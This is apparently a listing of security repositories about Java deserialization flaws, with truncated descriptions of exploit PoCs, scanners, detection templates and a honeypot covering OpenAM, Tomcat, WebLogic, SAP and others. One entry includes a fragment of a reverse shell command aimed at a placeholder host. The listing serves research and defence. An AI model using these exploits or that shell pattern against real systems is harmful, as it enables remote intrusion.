Cisco-FMC-honeypot

FMC-Trap A low-interaction honeypot that mimics a Cisco Secure Firewall Management Center FMC web surface and captures unauthenticated Java serialization-style attack traffic CVE-style insecure deserialization probes. Safe by design: the application does not deserialize Java objects; it detects...

CVE-2022-41853

Research into CVE-2022-41853: Using static functions to obtian RCE via Java Deserialization & Remote Codebase Attack Those using java.sql.Statement or java.sql.PreparedStatement in hsqldb HyperSQL DataBase to process untrusted input may be vulnerable to a remote code execution attack. By default ...

CVE-2020-2950

Oracle-BI CVE-2020-2950 AMF deseiralize Version: 5.5.0.0.0, 11.1.1.9.0, 12.2.1.3.0 Install:https://www.sql.edu.vn/obiee/oracle-business-intelligence-12c/ Ref: https://peterjson.medium.com/cve-2020-2950-turning-amf-deserialize-bug-to-java-deserialize-bug-2984a8542b6f Exploit - PoC amf.bin Header c...

cve-2018-14667

cve-2018-14667 POC for CVE-2018-14667 Original analysis and POC: https://paper.seebug.org/765/ Ref: https://web.archive.org/web/20190501081357/https://tint0.com/when-el-injection-meets-java-deserialization/...

CVE-2021-36981

CVE-2021-36981 Verinice.Pro 1.22.1 Unsafe Java deserialization of untrusted data, leading to Remote Code Execution using C3P0 gadget authenticated PoC code to exploit the deserialization vulnerability. See...

CVE-2023-43208_Detection_PoC

CVE-2023-43208DetectionPoC Use java.net.InetAddress for detection POST /api/users HTTP/1.1 Host: ip:8443 User-Agent: Mozilla/5.0 X11; CrOS x8664 14541.0.0 AppleWebKit/537.36 KHTML, like Gecko Chrome/120.0.0.0 Safari/537.36 Connection: keep-alive Content-Length: 1964 Content-Type: application/xml...

CVE-2025-24813

CVE-2025-24813 Description This repo aims to provide clear instructions for rapid deployment of Tomcat v9.0.90 with java 25.0.1 2025-10-21 LTS on Windows Server 2019 Standard for Cyber Security threat emulation exercise. The exploit.py leverages on ysoserial-all.jar to create a payload using...

CVE-2026-33439-PoC

CVE-2026-33439 — OpenAM Pre-Auth RCE Pre-authentication Remote Code Execution in OpenIdentityPlatform OpenAM = 16.0.5 via unsafe Java deserialization of the jato.clientSession parameter CVSS 9.8. For authorized security testing only. Quick Start 1. Build payload downloads JARs from Maven Central ...

CVE-2026-33439-Poc

CVE-2026-33439 Pre-auth RCE in OpenIdentityPlatform OpenAM via unsafe Java deserialization of the jato.clientSession parameter. Affected & /dev/tcp/HOST/PORT 0&1' Output is blind. The request blocks until the command exits, so timing confirms execution --command 'sleep 5' takes about 5s. For...

CVE-2026-33439

🐞 CVE-2026-33439: RCE pre-autenticación en OpenAM mediante deserialización de jato.clientSession Conocimiento humano + análisis asistido por IA + ingeniería inversa + aviso → exploit Primera implementación de exploit compartida públicamente para CVE-2026-33439 Vulnerabilidad de deserialización de...

CVE-2015-6420

CVE-2015-6420 Deserialization vulnerability References Java Deserialization Vulnerability - CC Exploit Chain Analysis...

CVE-2018-1297

CVE-2018-1297 EXP for CVE-2018-1297 PS:you need download ysoserial by yourself!!! https://github.com/Al1ex/ysoserial-0.0.6-SNAPSHOT-all/releases...

WeblogicScan

WeblogicScan Herramienta de detección de vulnerabilidades Weblogic con un solo clic, V1.5 Autor del software: TideRabbitMask Descargo de responsabilidad: Pia!ｏ ‵-′ノ”ノ﹏。 Esta herramienta es solo para pruebas de seguridad, no la uses con fines ilegales, sé obediente Funciones de la V 1.5: Proporcio...

CVE-2025-42944

CVE-2025-42944 Due to a deserialization vulnerability in SAP NetWeaver, an unauthenticated attacker could exploit the system through the RMI-P4 module by submitting malicious payload to an open port. The deserialization of such untrusted Java objects could lead to arbitrary OS command execution,...

ManageEngine OpManager SumPDU 12.1 - 12.5.232 - Java Deserialization

Zoho ManageEngine OpManager Stable build before 125203 and Released build before 125233 allows Remote Code Execution via the Smart Update Manager SUM servlet. id: CVE-2020-28653 info: name: ManageEngine OpManager SumPDU 12.1 - 12.5.232 - Java Deserialization author: iamnoooob,pdresearch severity:...

CVE-2022-24818

CVE-2022-24818: Java Deserialization via Unchecked JNDI Lookups in GeoServer and GeoTools The GeoTools library has a number of data sources that can perform unchecked JNDI lookups, which in turn can be used to perform class deserialization and result in arbitrary code execution. As an example thi...

JavaDeRe

Introducción del proyecto Se utiliza principalmente para codificar en base64 la clase al construir cargas útiles de eco echo para la deserialización de JAVA, y para decodificar cadenas en base64 durante una respuesta a incidentes, restaurándolas a archivos .class para inspeccionar la carga útil d...

SHIRO-721

Vulnerabilidad RCE de Padding Oracle en SHIRO-721 RememberMe 0x00 Introducción: El cookie rememberMe de la cookie está cifrado mediante el modo AES-128-CBC, lo que lo hace susceptible a ataques de oracle de relleno padding oracle. Un atacante puede utilizar un cookie RememberMe válido como prefij...

WLT3Serial

WLT3Serial Native Java-based deserialization exploit for WebLogic T3 and T3S listeners as outlined HERE. Requires third-party dependencies ysoserial and wlthint3client. Advantages/Disadvantages compared to JavaUnserializeExploits weblogic.py and loubia Advantages: Handles T3/T3S communication...

cve-2025-24813-poc

CVE-2025-24813 Apache Tomcat RCE Exploit PoC This repository contains a proof-of-concept exploit for CVE-2025-24813, a Java deserialization vulnerability in Apache Tomcat. Based on absholi7ly/POC-CVE-2025-24813/. Prerequisites Docker Setup 1. Install dependencies: uv venv source .venv/bin/activat...